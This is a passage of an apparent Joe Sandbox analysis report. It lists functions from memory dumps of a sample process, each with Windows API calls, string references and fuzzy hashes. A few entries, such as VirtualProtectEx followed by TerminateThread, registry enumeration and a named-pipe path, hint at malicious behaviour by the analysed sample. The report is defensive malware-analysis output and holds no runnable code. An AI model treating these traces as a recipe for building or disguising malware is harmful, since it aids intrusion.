FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001DD940D0A6B,?,?,?,000001DD940D045C,?,?,?,000001DD940CC84F), ref: 000001DD940CCF76

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: d7b132cdf72be6ad3c50b02b8796697ce3e73dc6f133a5e6607e57c3046b6d8e
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: 65417F302C5244C1FA6CB735F7713EA23425F857BEF140727A93E0A6E7EE2A8411960D

Function 000001DD94099944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001DD940999A1

Part of subcall function 000001DD9409A814: __GetUnwindTryBlock.LIBCMT ref: 000001DD9409A857
Part of subcall function 000001DD9409A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001DD9409A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001DD94099A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001DD94099CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001DD94099DDA

Strings

csm, xrefs: 000001DD94099A9C
csm, xrefs: 000001DD94099A22
csm, xrefs: 000001DD940999BB

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 66c403d791f1fc69acdfe89a235cfcf5163803da82e4d0b35743c475670077a5
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: F7E1CF72655B808AEB68CF65E4A13DD37A0F745B9CF040117EE8D57B9ADB3AC091C708

Function 000001DD940CA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001DD940CA5A1

Part of subcall function 000001DD940CB414: __GetUnwindTryBlock.LIBCMT ref: 000001DD940CB457
Part of subcall function 000001DD940CB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001DD940CB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001DD940CA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001DD940CA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001DD940CA9DA

Strings

csm, xrefs: 000001DD940CA5BB
csm, xrefs: 000001DD940CA622
csm, xrefs: 000001DD940CA69C

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: d460981e49b8ec3b2a3788250e925096caa74659a0ba229f09b8c68936bb4089
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 29E19B72644B40CAEB28AF65E6A03DD77A0F745B9DF100206EE8D57BDADB39C481CB04

Function 000001DD940CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001DD940CF510
GetProcAddress.KERNEL32 ref: 000001DD940CF51C

Strings

api-ms-, xrefs: 000001DD940CF45A
ext-ms-, xrefs: 000001DD940CF46D

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 3e82b686ec28cfa4d867a9b6a2abcaf608b1d688302371be249f3b47da0712fa
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: B6411432391A00D1EB1EEB56FA203D62391FB48BE9F0942279D0D877C6EF3AC4458308

Function 000001DD940C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001DD940C10B1
RegEnumValueW.ADVAPI32 ref: 000001DD940C1117
GetProcessHeap.KERNEL32 ref: 000001DD940C115A
HeapAlloc.KERNEL32 ref: 000001DD940C1168
GetProcessHeap.KERNEL32 ref: 000001DD940C1185
HeapFree.KERNEL32 ref: 000001DD940C1193

Strings

d, xrefs: 000001DD940C10D6

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: cc26fc1d10717491628ef8914f0207856e6d70eddc4966a89e20ebbca139bb18
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: E5418C33214B84C6E764DF61F45439E77A1F389B89F04822AEA890BB59DF3DC489CB04

Function 000001DD940CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001DD940CC7DE,?,?,?,?,?,?,?,?,000001DD940CCF9D,?,?,00000001), ref: 000001DD940CD087
FlsSetValue.KERNEL32(?,?,?,000001DD940CC7DE,?,?,?,?,?,?,?,?,000001DD940CCF9D,?,?,00000001), ref: 000001DD940CD0A6
FlsSetValue.KERNEL32(?,?,?,000001DD940CC7DE,?,?,?,?,?,?,?,?,000001DD940CCF9D,?,?,00000001), ref: 000001DD940CD0CE
FlsSetValue.KERNEL32(?,?,?,000001DD940CC7DE,?,?,?,?,?,?,?,?,000001DD940CCF9D,?,?,00000001), ref: 000001DD940CD0DF
FlsSetValue.KERNEL32(?,?,?,000001DD940CC7DE,?,?,?,?,?,?,?,?,000001DD940CCF9D,?,?,00000001), ref: 000001DD940CD0F0

Strings

Y%, xrefs: 000001DD940CD0A6
1%, xrefs: 000001DD940CD0CE

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 40fb3bc444f08a70c5a58835654c90bb9aa1d435885e3aa24cadcb849215cfac
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 14114F30694284C1FA6C7779F7713EA63415F847F9F244327992D066DBDE6AC412860D

Function 000001DD940C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001DD940C7538
__scrt_acquire_startup_lock.LIBCMT ref: 000001DD940C758A
_RTC_Initialize.LIBCMT ref: 000001DD940C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001DD940C75DE
__scrt_release_startup_lock.LIBCMT ref: 000001DD940C7609

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1a10e82afc4805be095d3bb7e3b877f5fbb2ee14ccca3c580002a3a00069d11f
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 17818D31680602C6FB5CBF29F6713DA6390AB8578EF544517AA4C477E7DB3AC8468708

Function 000001DD940C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001DD940C9E49
GetLastError.KERNEL32 ref: 000001DD940C9E57
LoadLibraryExW.KERNEL32 ref: 000001DD940C9E81
FreeLibrary.KERNEL32 ref: 000001DD940C9EC7
GetProcAddress.KERNEL32 ref: 000001DD940C9ED3

Strings

api-ms-, xrefs: 000001DD940C9E69

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 39f2c46ec9bb028d6fae80fbad04c17666f6d62eb3e4538972316f6429f9b545
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 3A31E531292700E1EE19EB42F5207DA2394B759BADF190A27DD1D073D2EF3AC045C308

Function 000001DD940D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001DD940D3DE5
GetLastError.KERNEL32 ref: 000001DD940D3DF1
CloseHandle.KERNEL32 ref: 000001DD940D3E09
CreateFileW.KERNEL32 ref: 000001DD940D3E34
WriteConsoleW.KERNEL32 ref: 000001DD940D3E53

Strings

CONOUT$, xrefs: 000001DD940D3E15

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 03caf174d2872ba85f306920887bd97bdbb3e191fe8a861c75ef93f153403803
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 81118231350B4086E7548B56F86435A77A0F788FE8F044316FA5E877D6CF79C4188748

Function 000001DD940C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001DD940C2F27
HeapAlloc.KERNEL32 ref: 000001DD940C2F3A
StrCmpNIW.SHLWAPI ref: 000001DD940C2FAF
GetProcessHeap.KERNEL32 ref: 000001DD940C3015
HeapFree.KERNEL32 ref: 000001DD940C3023

Strings

dialer, xrefs: 000001DD940C2FA8

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 60bed81d04a4066a258433ce621cf2305dfb8eb5b39c63a545d0208c86a19b7b
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 9A31F336741B15C3E618EF16F6607A963A0FB44B89F084136AE4C07B97EF36C4668708

Function 000001DD940CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001DD940CCFAF
FlsSetValue.KERNEL32(?,?,?,000001DD940CD6B5,?,?,?,?,000001DD940CD778), ref: 000001DD940CCFE5
FlsSetValue.KERNEL32(?,?,?,000001DD940CD6B5,?,?,?,?,000001DD940CD778), ref: 000001DD940CD012
FlsSetValue.KERNEL32(?,?,?,000001DD940CD6B5,?,?,?,?,000001DD940CD778), ref: 000001DD940CD023
FlsSetValue.KERNEL32(?,?,?,000001DD940CD6B5,?,?,?,?,000001DD940CD778), ref: 000001DD940CD034
SetLastError.KERNEL32 ref: 000001DD940CD04F

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 639baf44e03e24559f3ee3b5f782cb8bec1d6a2034766f09c14b5b284a84d35a
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 3A115E302D4240C1FA6CB735F7753AE63415F887FDF144726A93E476E7DE6A84129608

Function 000001DD940C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001DD940C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001DD940C19E0
PathFindFileNameW.SHLWAPI ref: 000001DD940C19EF
lstrlenW.KERNEL32 ref: 000001DD940C19FB
StrCpyW.SHLWAPI ref: 000001DD940C1A0E
CloseHandle.KERNEL32 ref: 000001DD940C1A1C

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: b61f1b5307d49a85ba5395af1b2b581706593e1de6efed1a8925f317dc129114
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 13016D31340B4082EB18DB52F46839963A1F788BC9F884536EE8D43756DF3DC549C708

Function 000001DD940C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001DD940C36E4
GetCurrentProcess.KERNEL32 ref: 000001DD940C36F2
VirtualProtectEx.KERNEL32 ref: 000001DD940C3714
GetCurrentProcess.KERNEL32 ref: 000001DD940C3732
VirtualProtectEx.KERNEL32 ref: 000001DD940C3753
TerminateThread.KERNEL32 ref: 000001DD940C3762

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 0b3d9e301c652b4d5ea1e58041bcc79f4710385cf9e613c1c833d04716fd97aa
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: F6014475351744C2FF289B51F82979677A0BB49B8AF040A2ADD8D07796EF3EC158C708

Function 000001DD940C8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DD940C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001DD940C90A8
RtlUnwindEx.NTDLL ref: 000001DD940C90F7

Strings

csm, xrefs: 000001DD940C908E
f, xrefs: 000001DD940C9026

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: 3fe5e9275a36454b8f49d33b86bfd7fa88196d25845ea47e18fd9767c9ae5b56
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 5B51B032241600CBEB18EF15F959B9D3795F386B8DF118526EE4A477CAEB36C881C708

Function 000001DD940C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001DD940C3066
StrCpyW.SHLWAPI ref: 000001DD940C3076
StrCatW.SHLWAPI ref: 000001DD940C3082
PathCombineW.SHLWAPI ref: 000001DD940C3090

Strings

\\.\pipe\, xrefs: 000001DD940C305C

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: afb025e53f99a7995bd8d29a7977855ceb79e4473cfc156a59eba80ff87acbd6
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 07F08231354B8082EA089F13F9342996360AB48FC8F045632FE8E07B5ADF3DC44A8708

Function 000001DD940CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001DD940CBCBD
GetProcAddress.KERNEL32 ref: 000001DD940CBCD3
FreeLibrary.KERNEL32 ref: 000001DD940CBCFA

Strings

mscoree.dll, xrefs: 000001DD940CBCB4
CorExitProcess, xrefs: 000001DD940CBCCC

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 8b2e2498f56c1ba489b3e902bf354cb477fc47ac98a9cd42bd20c7c9a285e62c
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: ADF09671351B0481EB189F64F8643AA6331EB84769F54471BEAAE461E6DF3EC44DC704

Function 000001DD940C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001DD940C5726

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 5c05fca8a29c99b5f8c13897934d76e120236bb13a2667a50d2009c9eb029cbb
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: E1612A3A558B40C6E768DB15F56036BB7A0F388789F500216EA8E47BEADB7DC454CF08

Function 000001DD940A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001DD940A352C
_set_statfp.LIBCMT ref: 000001DD940A3547
_set_statfp.LIBCMT ref: 000001DD940A3563
_set_statfp.LIBCMT ref: 000001DD940A359F

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 7c8cde51f3c19f4a0b2161462a218badc06fc9f4780a19bcd0af660b3934510a
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 26117732AD5B5111FA9C353CF47E3E913C16B583BCF48462AA96E076D7CA36C8415708

Function 000001DD940D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001DD940D412C
_set_statfp.LIBCMT ref: 000001DD940D4147
_set_statfp.LIBCMT ref: 000001DD940D4163
_set_statfp.LIBCMT ref: 000001DD940D419F

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: b927b30a5b342d0ebcbc9520f13528b5a3d5a2136dacfb91179062bb5ddb0ad1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: A611513AAD0BA131FB7C1568F4763E913516BEC3FCF190736B97E066D78A26C8494608

Function 000001DD9409F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001DD9409F124

Strings

Tuesday, xrefs: 000001DD9409F0F4
or copy constructor iterator', xrefs: 000001DD9409F25A, 000001DD9409F275
Wednesday, xrefs: 000001DD9409F1ED

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: fefa77b7b84849154685673a2530aa659290ae70ac0f4157ce7e4b1ca6e542e2
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3D61E232684A0042FA6D8B68F4743EA2BA0F7C578CF54441BDA5E137A7DB3AC881C34C

Function 000001DD940CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000001DD940CAA68
_CallSETranslator.LIBVCRUNTIME ref: 000001DD940CAAB7

Strings

MOC, xrefs: 000001DD940CAA7C
RCC, xrefs: 000001DD940CAA85

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 7689f7fff6b06363a14e1221e08c66480eba0dc443f527849f14f4bd435eb79e
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: C5614832600A84CAEB18AF65E5903DD77A0F344B9DF044216EF4D17B9ADB39C595CB04

Function 000001DD9409A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DD9409A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001DD9409A288

Strings

csm, xrefs: 000001DD9409A2DA
csm, xrefs: 000001DD9409A1C2

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd94090000_judit.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 6817ef73e91b324020d4708a04440e059b45b4065ff5db578eb24f368c12c612
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: EA5150361402C0CAEB688B15F56439977A0F355B9CF189217EB9D87BD7CB3AD451CB08

Function 000001DD940CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DD940CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000001DD940CAE88

Strings

csm, xrefs: 000001DD940CADC2
csm, xrefs: 000001DD940CAEDA

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ad97b866e302c513a717ffcf6a5b9c78a62e0a02bae8b2eac55db652cb1657e0
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 4551A072180380CAEB68AF95F6A439977A0F355B8EF144217DA8E47BD6CB39C451DB08

Function 000001DD94098405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001DD94098413
_IsNonwritableInCurrentImage.LIBCMT ref: 000001DD940984A8

Strings

csm, xrefs: 000001DD9409848E
f, xrefs: 000001DD94098426

Memory Dump Source

Source File: 0000000C.00000002.2558413645.000001DD94090000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001DD94090000, based on PE: true

Joe Sandbox IDA Plugin

